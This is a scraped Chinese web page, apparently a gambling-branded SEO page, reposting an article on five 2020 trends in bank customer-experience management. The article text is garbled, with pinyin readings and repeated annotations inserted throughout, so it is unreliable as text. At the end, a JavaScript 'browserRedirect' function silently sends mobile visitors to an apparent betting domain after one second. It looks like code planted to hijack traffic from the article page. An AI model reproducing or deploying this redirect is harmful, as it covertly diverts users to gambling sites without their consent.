ku游戏网站

今天是2021年7月31日 星(xing)期六,欢迎光临本站(zhan) 

客户经营

【原创】2020年银行客户体验管理的5个趋势

文字:[大][中][小] 手机页面二维码 2021/1/22     浏览次数:    

由(you)于银行的(de)(de)(de)(de)产品和服务越(yue)(yue)来越(yue)(yue)同质化,未来最有(you)力(li)的(de)(de)(de)(de)差异化武器就是提升(sheng)客(ke)(ke)户(hu)(hu)体(ti)验(yan)。客(ke)(ke)户(hu)(hu)的(de)(de)(de)(de)满(man)意度会由(you)于不同的(de)(de)(de)(de)体(ti)验(yan)而有(you)差别,客(ke)(ke)户(hu)(hu)希(xi)望他(ta)的(de)(de)(de)(de)银行是了(le)解他(ta)的(de)(de)(de)(de),而且(qie)能够(gou)提供个性化的(de)(de)(de)(de)服务。此外,由(you)于客(ke)(ke)户(hu)(hu)的(de)(de)(de)(de)很多数据都能被银行收(shou)集(ji),客(ke)(ke)户(hu)(hu)对安全(quan)的(de)(de)(de)(de)要(yao)求也越(yue)(yue)来越(yue)(yue)高(gao)。

 

未(wei)来(lai),客(ke)户(hu)希(xi)望(wang)(wang)银行(xing)能(neng)更(geng)(geng)主动(dong)帮(bang)助(zhu)他们来(lai)管理财务(wu)(wu),而且能(neng)在(zai)(zai)不同的(de)渠道得(de)(de)到(dao)无(wu)缝的(de)体(ti)验。尽(jin)管客(ke)户(hu)希(xi)望(wang)(wang)银行(xing)的(de)数字化能(neng)力变(bian)得(de)(de)更(geng)(geng)强,他们更(geng)(geng)希(xi)望(wang)(wang)通过(guo)人机协同方式得(de)(de)到(dao)更(geng)(geng)好(hao)的(de)服务(wu)(wu),在(zai)(zai)处理复杂(za)业务(wu)(wu)时可以随时得(de)(de)到(dao)人工支持(chi)。虽然客(ke)户(hu)到(dao)店率会(hui)不断下降,但是客(ke)户(hu)和网点的(de)互动(dong)会(hui)变(bian)得(de)(de)更(geng)(geng)重(zhong)要。

 

由于(yu)客(ke)户(hu)(hu)在银行业以外的(de)(de)(de)互联网世界中已经有了(le)很多良好(hao)(hao)的(de)(de)(de)体(ti)验(yan),他们对银行的(de)(de)(de)要求(qiu)变得(de)更高了(le)。如(ru)(ru)能(neng)够(gou)达到、甚至超越客(ke)户(hu)(hu)的(de)(de)(de)期(qi)望值,银行就(jiu)能(neng)够(gou)获得(de)客(ke)户(hu)(hu)良好(hao)(hao)的(de)(de)(de)口碑传播。反过(guo)来,如(ru)(ru)果客(ke)户(hu)(hu)体(ti)验(yan)不好(hao)(hao)的(de)(de)(de)话,网上(shang)就(jiu)会有一堆(dui)差(cha)评。由于(yu)第(di)三方支付手段(duan)如(ru)(ru)此便捷,不满的(de)(de)(de)客(ke)户(hu)(hu)可(ke)能(neng)一声不吭(hang)就(jiu)把(ba)钱转走了(le),而不用把(ba)现有的(de)(de)(de)账户(hu)(hu)销户(hu)(hu)。


2020年(nian)银行客户体验管理(li)会出现以下5个趋势:


一、主动性财务管理

随着(zhe)数据的(de)(de)积累(lei),分析工具越(yue)来(lai)越(yue)先进(jin),渠道也越(yue)来(lai)越(yue)多样(yang)化,银行(xing)(xing)将(jiang)会(hui)有更多与客(ke)(ke)户(hu)互动的(de)(de)机(ji)会(hui),来(lai)协助(zhu)客(ke)(ke)户(hu)进(jin)行(xing)(xing)财(cai)务管理。银行(xing)(xing)能(neng)够提供前瞻性(xing)的(de)(de)建(jian)议(yi),帮助(zhu)客(ke)(ke)户(hu)避(bi)开(kai)财(cai)务陷阱(jing)或比以往(wang)更快地(di)利用机(ji)会(hui)。通过手机(ji)银行(xing)(xing)APP或短信(xin)通知,银行(xing)(xing)能(neng)根据客(ke)(ke)户(hu)过往(wang)的(de)(de)行(xing)(xing)为和(he)交易情况,在合适的(de)(de)情况下提供有针对性(xing)的(de)(de)智能(neng)建(jian)议(yi),这将(jiang)对客(ke)(ke)户(hu)满意度和(he)忠诚(cheng)度产生(sheng)积极影(ying)响。

 

二、大规模个性化服务

提供个(ge)性(xing)(xing)化(hua)体(ti)验对(dui)银(yin)(yin)行业来(lai)说并不新鲜。几十年来(lai),这一直是数字(zi)化(hua)营销活动的基(ji)础(chu)。据调(diao)查,62%的客(ke)户(hu)希望能(neng)从(cong)银(yin)(yin)行得到(dao)个(ge)性(xing)(xing)化(hua)的服(fu)务,但只(zhi)有(you)(you)47%的客(ke)户(hu)认为他们受到(dao)过个(ge)性(xing)(xing)化(hua)服(fu)务。虽然针对(dui)细分市场(chang)的营销在(zai)多年前(qian)就已(yi)司空见惯,但现在(zai)技术的发(fa)展已(yi)使得银(yin)(yin)行有(you)(you)能(neng)力根据每个(ge)不同的客(ke)户(hu)提供个(ge)性(xing)(xing)化(hua)的服(fu)务。这样做(zuo)可以增加(jia)对(dui)客(ke)户(hu)的粘性(xing)(xing),从(cong)而创造更多的业务机会和收入。

 

三、无缝的全渠道体验

每(mei)个(ge)人都(dou)认为自己是独一无(wu)(wu)二的(de)(de)(de)(de)(de),应该(gai)受到银行(xing)的(de)(de)(de)(de)(de)重视。他们(men)不(bu)想因为只是对(dui)银行(xing)有利,而被迫使用某(mou)种特定的(de)(de)(de)(de)(de)渠(qu)(qu)(qu)道(dao)。客(ke)(ke)户(hu)(hu)希望(wang)(wang)能(neng)自由选择产(chan)品购(gou)(gou)买渠(qu)(qu)(qu)道(dao)和(he)互(hu)动(dong)方式,并且不(bu)管使用何种渠(qu)(qu)(qu)道(dao),都(dou)能(neng)得到良好的(de)(de)(de)(de)(de)服务。虽(sui)然全渠(qu)(qu)(qu)道(dao)战(zhan)略已经讨论了十(shi)多(duo)(duo)年,但(dan)(dan)提(ti)供(gong)无(wu)(wu)缝体验(yan)(yan)将是2020年成功(gong)的(de)(de)(de)(de)(de)必要条件。虽(sui)然大(da)多(duo)(duo)数(shu)客(ke)(ke)户(hu)(hu)在(zai)(zai)购(gou)(gou)买前会(hui)通过网(wang)络、网(wang)点和(he)社交媒体搜(sou)集信(xin)息(xi),但(dan)(dan)他们(men)不(bu)希望(wang)(wang)在(zai)(zai)购(gou)(gou)买时被限(xian)制(zhi)在(zai)(zai)某(mou)个(ge)渠(qu)(qu)(qu)道(dao)。换言(yan)之,如果(guo)客(ke)(ke)户(hu)(hu)在(zai)(zai)手机或(huo)网(wang)银渠(qu)(qu)(qu)道(dao)上开(kai)始购(gou)(gou)买产(chan)品或(huo)服务,则不(bu)应该(gai)要求他们(men)之后还要到网(wang)点去完成后续(xu)工作。此(ci)外,如果(guo)客(ke)(ke)户(hu)(hu)购(gou)(gou)买过程由于(yu)某(mou)些原因中断的(de)(de)(de)(de)(de)话(hua),应允许他们(men)在(zai)(zai)不(bu)丢(diu)失已经提(ti)供(gong)的(de)(de)(de)(de)(de)信(xin)息(xi)的(de)(de)(de)(de)(de)情况(kuang)下继续(xu)使用他们(men)喜(xi)欢的(de)(de)(de)(de)(de)任何渠(qu)(qu)(qu)道(dao)。对(dui)于(yu)大(da)多(duo)(duo)数(shu)金融机构来说,流程和(he)技术需(xu)要改(gai)变,以便为客(ke)(ke)户(hu)(hu)提(ti)供(gong)跨渠(qu)(qu)(qu)道(dao)、跨部(bu)门(men)的(de)(de)(de)(de)(de)一致体验(yan)(yan)。

 

四、将数字手段人性化

人(ren)工(gong)智(zhi)能(AI)在(zai)不断发展,能够通过(guo)分(fen)析数(shu)(shu)据来(lai)持续改进流程。人(ren)工(gong)智(zhi)能增强(qiang)了(le)个性(xing)化(hua)和(he)情(qing)境化(hua)交(jiao)互(hu)的能力,即使在(zai)不使用人(ren)的情(qing)况(kuang)下(xia)感觉(jue)也很“人(ren)性(xing)化(hua)”。尽(jin)管(guan)如此,大多(duo)数(shu)(shu)客户(hu)仍(reng)然(ran)认为和(he)机器(qi)打交(jiao)道的感觉(jue)还是远(yuan)不如和(he)人(ren)打交(jiao)道。在(zai)某些情(qing)况(kuang)下(xia),银行需要(yao)通过(guo)数(shu)(shu)字化(hua)的渠道来(lai)将人(ren)工(gong)服务带入(ru)。通过(guo)远(yuan)程设备,专(zhuan)家可以“随叫随到”,而无需专(zhuan)家离开办公室(shi)。

 

五、安全性和隐私保护

如果客(ke)户(hu)不信任(ren)(ren)银(yin)行,那么未来(lai)所有(you)客(ke)户(hu)的(de)体验都(dou)将(jiang)失去意义。客(ke)户(hu)比以往任(ren)(ren)何时候都(dou)更希望(wang)他(ta)们(men)的(de)数据(包括生物特征)受(shou)到(dao)严格的(de)隐私(si)保护。如果银(yin)行对隐私(si)问题处(chu)理不当(dang),信任(ren)(ren)就会受(shou)到(dao)侵蚀,客(ke)户(hu)体验肯定会受(shou)到(dao)影(ying)响(xiang)。事实(shi)上,80%的(de)客(ke)户(hu)对“商业(ye)道(dao)德(de)良好”的(de)公(gong)(gong)司更忠诚,而68%的(de)客(ke)户(hu)不愿(yuan)意与商业(ye)道(dao)德(de)有(you)问题的(de)公(gong)(gong)司打交道(dao)。


要取得成功,金融机(ji)构需要在整(zheng)个(ge)客(ke)(ke)户旅程中不(bu)断收集和分析客(ke)(ke)户反馈。除(chu)了了解客(ke)(ke)户之外,银行(xing)还需要使(shi)得客(ke)(ke)户的每一次(ci)互动(dong)有个(ge)性化的体验,在跨渠(qu)道提(ti)(ti)供无(wu)缝体验,使(shi)数(shu)字(zi)互动(dong)人性化,并不(bu)断提(ti)(ti)高客(ke)(ke)户的信(xin)任(ren)度。

返回上一步
打印此页
13818970338
浏览手机站
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();